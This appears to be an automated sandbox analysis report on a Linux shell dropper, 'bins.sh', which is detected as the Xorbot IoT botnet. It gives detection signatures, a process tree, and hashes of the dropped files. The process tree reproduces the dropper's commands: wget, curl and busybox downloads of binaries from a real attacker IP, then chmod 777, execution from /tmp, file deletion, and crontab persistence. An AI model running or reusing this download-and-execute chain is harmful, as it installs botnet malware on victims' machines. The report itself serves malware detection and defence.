Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/12/2024, 17:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    438006bbfd462be4fd9c865af07b79f1

  • SHA1

    307c1b4a303f9a17faf6b009da89b55662ecb347

  • SHA256

    b4c55c1a69e129f0f04fb3058c1a2daa74525d58008ffe57827f316b18a0b872

  • SHA512

    c07722eee12c0fc776b1eef21671926015149f76499bfeb36bc9eacef98ee7d273cae91eaab25f3f37b6ce1af69e4faff5ba20fd5955d2b8ce6ec37576276cee

  • SSDEEP

    192:4lJYhJCDYwYSd6CNCGtujXD+M91Q19zKK9VcBKYYwF6CNCGtn91Q19zP9Vc65XDM:YYwYSIjXDKmK9VcBZYwUj9VcYXDM

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2126) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1503
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1504
        • /usr/bin/wget
          wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1505
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1510
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1511
        • /bin/chmod
          chmod 777 cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          ./cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:1513
        • /bin/rm
          rm cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY
          2⤵
          • System Network Configuration Discovery
          PID:1515
        • /usr/bin/wget
          wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/chmod
          chmod 777 wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • File and Directory Permissions Modification
          PID:1519
        • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          ./wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
          • Executes dropped EXE
          PID:1520
        • /bin/rm
          rm wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA
          2⤵
            PID:1522
          • /usr/bin/wget
            wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /bin/chmod
            chmod 777 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • File and Directory Permissions Modification
            PID:1526
          • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            ./7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
            • Executes dropped EXE
            PID:1527
          • /bin/rm
            rm 7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx
            2⤵
              PID:1529
            • /usr/bin/wget
              wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Writes file to tmp directory
              PID:1530
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Writes file to tmp directory
              PID:1531
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /bin/chmod
              chmod 777 Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • File and Directory Permissions Modification
              PID:1533
            • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              ./Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
              • Executes dropped EXE
              PID:1534
            • /bin/rm
              rm Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa
              2⤵
                PID:1536
              • /usr/bin/wget
                wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Writes file to tmp directory
                PID:1537
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Writes file to tmp directory
                PID:1538
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Writes file to tmp directory
                PID:1539
              • /bin/chmod
                chmod 777 LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • File and Directory Permissions Modification
                PID:1540
              • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                ./LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                • Executes dropped EXE
                PID:1541
              • /bin/rm
                rm LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD
                2⤵
                  PID:1543
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1544
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1545
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1546
                • /bin/chmod
                  chmod 777 rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1547
                • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  ./rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                  • Executes dropped EXE
                  PID:1548
                • /bin/rm
                  rm rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ
                  2⤵
                    PID:1550
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    2⤵
                    • Writes file to tmp directory
                    PID:1551
                  • /usr/bin/curl
                    curl -O http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    2⤵
                    • Writes file to tmp directory
                    PID:1552
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.68/bins/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    2⤵
                    • Writes file to tmp directory
                    PID:1553
                  • /bin/chmod
                    chmod 777 QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1554
                  • /tmp/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    ./QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:1555
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1557
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1558
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1559
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1560
                        • /bin/rm
                          rm QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds
                          2⤵
                            PID:1562
                          • /usr/bin/wget
                            wget http://37.44.238.68/bins/weMN1BxpPnJ9vD6agf2KlQyCepkaTNS5cI
                            2⤵
                            • Writes file to tmp directory
                            PID:1565

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/7lkwcsy842Cgha8YzskqLp6UJ1abFMzYZx

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/Gmi70zRsd8dPQm8XPtb1CSryqvFFdI5jNa

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/LlpYdlSHjNEYdm5dNkPyCVz65l59qMdLcD

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/QuNHjnFSsXVfwzAgPc8YQra7OJCohL3Vds

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/cyurYlckJHVXIBk4wd3HOqTrOutEEc1omY

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/rAO0Quyi25K2DyYn36dfoBaWmgiH5JKNvZ

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/wG2Ruvrk9apTnrlmtFXdvpeXB9cD3S3XxA

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/weMN1BxpPnJ9vD6agf2KlQyCepkaTNS5cI

                          Filesize

                          71KB

                          MD5

                          a82d57d76a58876adfe91139a6436d14

                          SHA1

                          9b87d106c4fe47806811a6d4b66acd3da41cd391

                          SHA256

                          c1ff4cd9455e328bd256fa6cdb3323d997fc09468e0015877f54c6f0d5a3ff0e

                          SHA512

                          d494c4118348b4246a32423deec2714a875fbd4feb21a9924ff459472efb4c3d66347f2a2deef4f1e9db428119ca5dbed7a6bce4517d53c2f215f960e5b7549d

                        • /var/spool/cron/crontabs/tmp.Z0cyIe

                          Filesize

                          210B

                          MD5

                          378bcee74d33b2eac6a302ba88b9e58c

                          SHA1

                          18dbde7ceade4c904203382531328f24e16be574

                          SHA256

                          72b4eb2ca7e6d3a6a98ebec338b4101ccedcc12c2f00f7940eaf405c2268ec7a

                          SHA512

                          24a9e50b46e08d087c45b928ebf30abe3380a74e4c54196d54ae56f585b79c9187415390ae078c35e9e3becada1202f99df5dac3d80608b621fb6a3f35978eea